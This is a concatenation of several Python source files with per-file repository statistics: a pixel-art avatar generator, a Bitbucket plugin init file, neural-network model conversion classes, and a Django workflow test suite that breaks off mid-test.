'gcn_k:2,gcn_layers:1,gclstm_layers:1,batch_size:64,mark:BM211')
| 51.214286
| 108
| 0.503487
| 98
| 717
| 3.459184
| 0.306122
| 0.123894
| 0.123894
| 0.176991
| 0.911504
| 0.911504
| 0.911504
| 0.911504
| 0.911504
| 0.911504
| 0
| 0.041538
| 0.093445
| 717
| 14
| 109
| 51.214286
| 0.48
| 0.016736
| 0
| 0.428571
| 0
| 0
| 0.79918
| 0.418033
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.142857
| 0
| 0.142857
| 0
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
|
0
| 11
|
f7e1404e793844a8e1f4b95e527d7fd4b2872681
| 3,065
|
py
|
Python
|
single_image_creator.py
|
serhatataman/generate-bitbirds
|
e571deaec06c8edb5eb783ca50662fd08dacce6b
|
[
"MIT"
] | null | null | null |
single_image_creator.py
|
serhatataman/generate-bitbirds
|
e571deaec06c8edb5eb783ca50662fd08dacce6b
|
[
"MIT"
] | null | null | null |
single_image_creator.py
|
serhatataman/generate-bitbirds
|
e571deaec06c8edb5eb783ca50662fd08dacce6b
|
[
"MIT"
] | null | null | null |
from PIL import Image
import numpy as np
bg = (123, 209, 224)
hr = (255, 171, 0)
sk = (241, 194, 125)
jk = (121, 86, 156)
ey = (135, 181, 44)
bd = (0, 0, 0)
mt = (0, 0, 0)
eb = (255, 255, 255)
pixels_list = [
[bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bg, bg, bd, bd, bd, bd, bd, bd, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bg, bd, hr, hr, hr, hr, hr, hr, bd, bg, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bd, hr, hr, hr, hr, hr, hr, hr, hr, bd, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bd, hr, sk, hr, sk, hr, sk, hr, sk, bd, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bd, sk, sk, sk, sk, sk, sk, sk, sk, bd, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bd, sk, sk, sk, eb, eb, sk, eb, eb, bd, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bd, sk, sk, sk, ey, eb, sk, ey, eb, bd, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bd, sk, sk, sk, sk, sk, sk, sk, sk, bd, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bd, sk, sk, sk, sk, sk, sk, sk, sk, bd, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bd, sk, sk, sk, sk, sk, sk, mt, sk, bd, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bd, sk, sk, sk, sk, mt, mt, mt, sk, bd, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bd, sk, sk, sk, sk, sk, sk, sk, sk, bd, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bg, bd, sk, sk, sk, sk, sk, sk, sk, bd, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bg, bg, bd, jk, sk, sk, jk, jk, bd, bg, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bd, bd, bd, bd, bd, jk, sk, sk, jk, jk, bd, bd, bd, bd, bd, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bd, jk, jk, jk, jk, jk, sk, sk, jk, jk, jk, jk, jk, jk, bd, bd, bg, bg, bg, bg],
[bg, bg, bg, bg, bd, bd, jk, jk, jk, jk, jk, sk, sk, jk, jk, jk, jk, jk, jk, jk, bd, bg, bg, bg, bg],
[bg, bg, bg, bg, bd, jk, jk, jk, jk, jk, jk, sk, sk, jk, jk, jk, jk, jk, jk, jk, bd, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg],
[bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg, bg],
]
avatar_array = np.array(pixels_list, dtype=np.uint8)
avatar_image = Image.fromarray(avatar_array)
avatar_image = avatar_image.resize((480, 480), resample=Image.NEAREST)
avatar_image.save("avatar.png")
| 68.111111
| 105
| 0.498206
| 697
| 3,065
| 2.17934
| 0.061693
| 1.082291
| 1.548387
| 1.96445
| 0.81106
| 0.809743
| 0.801843
| 0.792627
| 0.792627
| 0.792627
| 0
| 0.027729
| 0.258728
| 3,065
| 44
| 106
| 69.659091
| 0.640845
| 0
| 0
| 0.268293
| 0
| 0
| 0.003263
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.04878
| 0
| 0.04878
| 0
| 0
| 0
| 0
| null | 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 9
|
f7e5cf80e381993345cf8c059595a0b236bca315
| 201
|
py
|
Python
|
plugins/bitbucket/komand_bitbucket/actions/__init__.py
|
lukaszlaszuk/insightconnect-plugins
|
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
|
[
"MIT"
] | 46
|
2019-06-05T20:47:58.000Z
|
2022-03-29T10:18:01.000Z
|
plugins/bitbucket/komand_bitbucket/actions/__init__.py
|
lukaszlaszuk/insightconnect-plugins
|
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
|
[
"MIT"
] | 386
|
2019-06-07T20:20:39.000Z
|
2022-03-30T17:35:01.000Z
|
plugins/bitbucket/komand_bitbucket/actions/__init__.py
|
lukaszlaszuk/insightconnect-plugins
|
8c6ce323bfbb12c55f8b5a9c08975d25eb9f8892
|
[
"MIT"
] | 43
|
2019-07-09T14:13:58.000Z
|
2022-03-28T12:04:46.000Z
|
# GENERATED BY KOMAND SDK - DO NOT EDIT
from .create_issue.action import CreateIssue
from .create_repo.action import CreateRepo
from .delete_repo.action import DeleteRepo
from .user.action import User
| 33.5
| 44
| 0.825871
| 30
| 201
| 5.433333
| 0.6
| 0.294479
| 0.196319
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.124378
| 201
| 5
| 45
| 40.2
| 0.926136
| 0.18408
| 0
| 0
| 1
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| 0
| 0
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| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
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| 0
| null | 1
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| 0
| 0
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| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
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| 0
| 1
| 0
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| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
790dec5c9feeac8dfc94fdd375692906bfd8bb4d
| 12,628
|
py
|
Python
|
nndrone/converters.py
|
Tevien/NNDrone
|
76dce457324ea03a8757d74f6403fbf60132294b
|
[
"BSD-3-Clause"
] | 3
|
2017-11-06T11:21:20.000Z
|
2018-07-20T14:47:21.000Z
|
nndrone/converters.py
|
Tevien/NNDrone
|
76dce457324ea03a8757d74f6403fbf60132294b
|
[
"BSD-3-Clause"
] | 4
|
2018-01-12T15:49:40.000Z
|
2018-04-06T02:29:56.000Z
|
nndrone/converters.py
|
Tevien/NNDrone
|
76dce457324ea03a8757d74f6403fbf60132294b
|
[
"BSD-3-Clause"
] | 12
|
2018-01-12T15:46:35.000Z
|
2018-06-21T22:41:56.000Z
|
import numpy as np
import pickle
import math
try:
from utilities import dot_loss, next_batch
except ImportError:
from utilities.utilities import dot_loss, next_batch
class DontCacheRef(Exception):
pass
class BasicConverter(object):
def __init__(self, learning_rate = 0.05, batch_size = 1, num_epochs = 300, threshold = 0.02, add_layer_dynamic = False, layer_to_expand = 0):
# training control
self._learning_rate = learning_rate
self._batchSize = batch_size
self._num_epochs = num_epochs
self._threshold = threshold
self._add_layer_dynamic = add_layer_dynamic
self._layer_to_expand = int(layer_to_expand)
# training history
self._updatedLoss = 1000.0
self._diffs = []
self._losses = []
self._updates = []
self._epoch = 0
def losses(self):
return self._losses
def diffs(self):
return self._diffs
def updates(self):
return self._updates
def save_history(self, fname):
f_train = open(fname, 'wb')
training_data = [self._losses, self._diffs, self._updates]
pickle.dump(training_data, f_train)
f_train.close()
def get_refs(self, base_model, datapoints, scaler = None, conv_1d = False, conv_2d = False, cache_data = True):
try:
if not cache_data:
raise DontCacheRef()
# Return the cached list of reference outputs for the base model
return (self.__datapoints, self.__refs)
except (DontCacheRef, AttributeError) as e:
# Create the list of reference outputs for the base model
if conv_1d and conv_2d:
print('ERROR: conv_1d and conv_2d are mutually exclusive')
return None
refs = []
flattened = []
for point in datapoints:
spoint = point
if scaler and not conv_2d:
spoint = scaler.transform([point])
prob = 0.0
if conv_1d:
prob = base_model.predict_proba(np.expand_dims(np.expand_dims(spoint, axis = 2), axis = 0))[0][0]
elif conv_2d:
# this will match if original model was trained with correct dimensionality
prob = base_model.predict_proba(np.expand_dims(spoint, axis = 0))
else:
prob = base_model.predict_proba(spoint.reshape(1, -1))[0][0]
refs.append(prob)
flattened.append(spoint.flatten().tolist())
self.__datapoints = np.asarray(flattened)
self.__refs = np.asarray(refs)
return (self.__datapoints, self.__refs)
def convert_model(self, drone_model, base_model, datapoints, scaler = None, conv_1d = False, conv_2d = False, cache_data = True, epoch_reset = False):
# Get the list of reference outputs for the base model
datapoints_for_drone, refs = self.get_refs(base_model, datapoints, scaler, conv_1d, conv_2d, cache_data)
inflate = 0 # to inflate the learning without change iterations
if epoch_reset:
self._epoch = 0
avloss = 0
# convert until min epochs are passed and leave only if loss at minima
while (self._epoch < self._num_epochs) or (self._updatedLoss < avloss):
# initialize the total loss for the epoch
epochloss = []
# loop over our data in batches
for (batchX, batchY) in next_batch(datapoints_for_drone, refs, self._batchSize):
batchY = np.array(batchY)
if batchX.shape[0] != self._batchSize:
print('Batch size insufficient (%s), continuing...' % batchY.shape[0])
continue
# Find current output and calculate loss for our graph
preds = drone_model.evaluate_total(batchX, debug = False)
loss, error = dot_loss(preds, batchY)
epochloss.append(loss)
# Update the model
drone_model.update(batchX, batchY, self._learning_rate)
avloss = np.average(epochloss)
diff = 0.0
if self._epoch > 0:
# is the relative improvement of the loss too small, smaller than threshold
diff = math.fabs(avloss - self._losses[-1]) / avloss
self._diffs.append(diff)
self._losses.append(avloss)
update = 0
modify = True if (diff < self._threshold) else False
if modify:
# If it is less than the threshold, is it below
# where we last updated, has the drone learned enough
#
# - skip checks if we have never updated before
# - do at least 6 learning iterations before attempting new update
# - use asymptotic exponential to push model to learn
# until its loss is far enough away from previous update,
inflate += 1 # iterate inflating
modify = True if self._updatedLoss == 1000.0 else (avloss < (self._updatedLoss - (50.0 * (1.0 - np.exp(-0.04 * inflate)) * diff * avloss))) and (inflate > 5)
if modify:
update = 1
inflate = 0
print('Model conversion not sufficient, updating...')
print('Last updated loss: %s' % self._updatedLoss)
self._updatedLoss = avloss
if self._add_layer_dynamic:
drone_model.add_layer_dynamic()
else:
drone_model.expand_layer_dynamic(self._layer_to_expand)
print('Model structure is now:')
drone_model.print_layers()
self._updates.append(update)
print('Epoch: %s, loss %s, diff %.5f, last updated loss %.5f' % (self._epoch, avloss, diff, self._updatedLoss))
# update our loss history list by taking the average loss
# across all batches
if self._epoch == 0: # be consistent at the first epoch
self._losses.append(avloss)
self._diffs.append(math.fabs(avloss - self._updatedLoss) / avloss)
self._updates.append(0)
self._epoch += 1
return drone_model
class AdvancedConverter(object):
def __init__(self, learning_rate = 0.05, batch_size = 1, num_epochs = 300, threshold = 0.02, add_layer_dynamic = False, layer_to_expand = None):
# training control
self._learning_rate = learning_rate
self._batchSize = batch_size
self._num_epochs = num_epochs
self._threshold = threshold
self._add_layer_dynamic = add_layer_dynamic
self.__round_robin = False
if layer_to_expand is None:
self.__round_robin = True
self._layer_to_expand = int(layer_to_expand) if layer_to_expand is not None else None
# training history
self._updatedLoss = 1000.0
self._diffs = []
self._losses = []
self._updates = []
self._epoch = 0
self.__rr_begin = 0
self.__rr_last = 0
def losses(self):
return self._losses
def diffs(self):
return self._diffs
def updates(self):
return self._updates
def round_robin(self, num_layers):
self.__rr_last = self.__rr_begin
self.__rr_begin = np.random.ranint(0, num_layers - 1) # careful, expanding last layer will change output number
return self.__rr_last
def save_history(self, fname):
f_train = open(fname, 'wb')
training_data = [self._losses, self._diffs, self._updates]
pickle.dump(training_data, f_train)
f_train.close()
def get_refs(self, base_model, datapoints, scaler = None, cache_data = True):
try:
if not cache_data:
raise DontCacheRef()
# Return the cached list of reference outputs for the base model
return (self.__datapoints, self.__refs)
except(DontCacheRef, AttributeError) as e:
# Create the list of reference outputs for the base model
refs = []
datapoints_for_drone = datapoints
if scaler:
datapoints_for_drone = scaler.transform(datapoints)
for point in datapoints_for_drone:
prob = base_model.predict_proba(point)
refs.append(prob)
self.__datapoints = datapoints_for_drone
self.__refs = refs
return (self.__datapoints, self.__refs)
def convert_model(self, drone_model, base_model, datapoints, scaler = None, cache_data = True, epoch_reset = False):
# Get the list of reference outputs for the base model
datapoints_for_drone, refs = self.get_refs(base_model, datapoints, scaler, cache_data)
inflate = 0 # to inflate the learning without change iterations
if epoch_reset:
self._epoch = 0
avloss = 0
# convert until min epochs are passed and leave only if loss at minima
while (self._epoch < self._num_epochs) or (self._updatedLoss < avloss):
# initialize the total loss for the epoch
epochloss = []
# loop over our data in batches
for (batchX, batchY) in next_batch(datapoints_for_drone, refs, self._batchSize):
batchY = np.array(batchY)
if batchX.shape[0] != self._batchSize:
print('Batch size insufficient ({}), continuing...'.format(batchY.shape[0]))
continue
# Find current output and calculate loss for our graph
preds = drone_model.evaluate_total(batchX, debug = False)
loss, error = dot_loss(preds, batchY)
epochloss.append(loss)
# Update the model
drone_model.update(batchX, batchY, self._learning_rate)
avloss = np.average(epochloss)
diff = 0.0
if self._epoch > 0:
# is the relative improvement of the loss too small, smaller than threshold
diff = math.fabs(avloss - self._losses[-1]) / avloss
self._diffs.append(diff)
self._losses.append(avloss)
update = 0
modify = True if (diff < self._threshold) else False
if modify:
# If it is less than the threshold, is it below
# where we last updated, has the drone learned enough
#
# - skip checks if we have never updated before
# - do at least 6 learning iterations before attempting new update
# - use asymptotic exponential to push model to learn
# until its loss is far enough away from previous update,
inflate += 1 # iterate inflating
modify = True if self._updatedLoss == 1000.0 else (avloss < (self._updatedLoss - (50.0 * (1.0 - np.exp(-0.04 * inflate)) * diff * avloss))) and (inflate > 5)
if modify:
update = 1
inflate = 0
print('Model conversion not sufficient, updating...')
print('Last updated loss: %s' % self._updatedLoss)
self._updatedLoss = avloss
if self._add_layer_dynamic:
drone_model.add_layer_dynamic()
elif self._layer_to_expand is not None:
drone_model.expand_layer_dynamic(self._layer_to_expand)
else:
drone_model.expand_layer_dynamic(self.round_robin(drone_model.num_layers()))
print('Model structure is now:')
drone_model.print_layers()
self._updates.append(update)
print('Epoch: %s, loss %s, diff %.5f, last updated loss %.5f' % (self._epoch, avloss, diff, self._updatedLoss))
# update our loss history list by taking the average loss
# across all batches
if self._epoch == 0: # be consistent at the first epoch
self._losses.append(avloss)
self._diffs.append(math.fabs(avloss - self._updatedLoss) / avloss)
self._updates.append(0)
self._epoch += 1
return drone_model
| 45.261649
| 177
| 0.578001
| 1,466
| 12,628
| 4.759209
| 0.158254
| 0.034399
| 0.020496
| 0.021499
| 0.866418
| 0.844776
| 0.829583
| 0.82385
| 0.804357
| 0.791458
| 0
| 0.015379
| 0.346056
| 12,628
| 278
| 178
| 45.42446
| 0.829499
| 0.16606
| 0
| 0.724638
| 0
| 0
| 0.040164
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.072464
| false
| 0.004831
| 0.028986
| 0.028986
| 0.183575
| 0.062802
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
793212eeba5b84b016a442de9d244afe9db2ecfb
| 134,464
|
py
|
Python
|
sample/test_nodes.py
|
luismasuelli/arcanelab-ouroboros
|
8a7b6003234a244cd4198c842ba69fdd76e2255c
|
[
"MIT"
] | null | null | null |
sample/test_nodes.py
|
luismasuelli/arcanelab-ouroboros
|
8a7b6003234a244cd4198c842ba69fdd76e2255c
|
[
"MIT"
] | null | null | null |
sample/test_nodes.py
|
luismasuelli/arcanelab-ouroboros
|
8a7b6003234a244cd4198c842ba69fdd76e2255c
|
[
"MIT"
] | null | null | null |
from django.core.exceptions import ValidationError
from arcanelab.ouroboros.executors import Workflow
from arcanelab.ouroboros.models import NodeSpec
from arcanelab.ouroboros import exceptions
from .support import ValidationErrorWrappingTestCase
# TODO WARNING I MADE CHANGES TO THE WAY THE BRANCHES BEHAVE.
# TODO AT MODEL LEVEL, COURSES DO NOT ALLOW UNREACHABLE NODES AND
# TODO -IF BEING CHILDREN COURSES- DO NOT ALLOW AN AUTOMATIC PATH
# TODO FROM THE ENTER NODE TO ANY EXIT NODE, WITHOUT NODES OF TYPE
# TODO SPLIT OR INPUT. TESTS MUST BE CHANGED ACCORDINGLY SO THEY
# TODO TEST THESE VALIDATIONS AND DO NOT FAIL THEM IN THE BRANCHES
# TODO NOT BEING TESTED (ALSO, CERTAIN TESTS WILL CHANGE THE WAY
# TODO THEY FAIL, SO AN INTENSIVE CHECK MUST BE DONE). THESE CHANGES
# TODO IN THE TESTS MUST BE AMEND-COMMITTED
# TODO check on instances
# TODO check on runs
##########################################
# NodeSpec tests
##########################################
class NodeSpecTestCase(ValidationErrorWrappingTestCase):
# testing enter node
# TODO actually make them! right now they are only empty stubs
def test_enter_node_with_inbounds_is_bad(self):
with self.assertRaises(ValidationError) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Final transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
installed = Workflow.Spec.install(spec)
trans = installed.spec.course_specs.get(code='').node_specs.get(code='loop-1').outbounds.get(
action_name='loop'
)
trans.destination = installed.spec.course_specs.get(code='').node_specs.get(code='origin')
trans.save()
installed.spec.course_specs.get(code='').node_specs.get(code='origin').full_clean()
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasInbounds.CODE,
'Invalid subclass of ValidationError raised')
def test_enter_node_without_outbounds_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasNoOutbound.CODE,
'Invalid subclass of ValidationError raised')
def test_enter_node_wit_many_outbounds_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'origin', 'destination': 'loop-2', 'name': 'Initial transition 2',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception)
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasMultipleOutbounds.CODE,
'Invalid subclass of ValidationError raised')
def test_enter_node_with_exit_value_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin', 'exit_value': 101,
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'exit_value')
def test_enter_node_with_joiner_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
'joiner': 'sample.support.dummy_joiner',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'joiner')
def test_enter_node_with_branches_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.SPLIT, 'code': 'loop-2', 'name': 'Loop-2',
'branches': ['foo', 'bar'],
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}, {
'code': 'foo', 'name': 'Foo',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}, {
'code': 'bar', 'name': 'Bar',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 100,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'exit', 'name': 'Initial transition',
'permission': 'sample.start_task',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, '__all__')
self.assertEqual(exc.code, exceptions.WorkflowCourseNodeHasBranches.CODE,
'Invalid subclass of ValidationError raised')
def test_enter_node_with_execute_permission_is_bad(self):
with self.assertRaises(exceptions.WorkflowInvalidState) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
'execute_permission': 'sample.cancel_task',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-1', 'name': 'Loop-1',
}, {
'type': NodeSpec.INPUT, 'code': 'loop-2', 'name': 'Loop-2',
}, {
'type': NodeSpec.EXIT, 'code': 'exit', 'name': 'Exit', 'exit_value': 101,
}, {
'type': NodeSpec.CANCEL, 'code': 'cancel', 'name': 'Cancel',
}],
'transitions': [{
'origin': 'origin', 'destination': 'loop-1', 'name': 'Initial transition 1',
}, {
'origin': 'loop-1', 'destination': 'exit', 'name': 'Initial transition',
'action_name': 'break',
}, {
'origin': 'loop-1', 'destination': 'loop-2', 'name': 'Loop', 'action_name': 'loop',
}, {
'origin': 'loop-2', 'destination': 'loop-1', 'name': 'Loop', 'action_name': 'loop',
}]
}]}
Workflow.Spec.install(spec)
exc = self.unwrapValidationError(ar.exception, 'execute_permission')
# testing exit node
def test_exit_node_with_outbounds_is_bad(self):
with self.assertRaises(ValidationError) as ar:
spec = {'model': 'sample.Task', 'code': 'wfspec', 'name': 'Workflow Spec', 'create_permission': '',
'cancel_permission': '',
'courses': [{
'code': '', 'name': 'Single',
'nodes': [{
'type': NodeSpec.ENTER, 'code': 'origin', 'name': 'Origin',
}, {
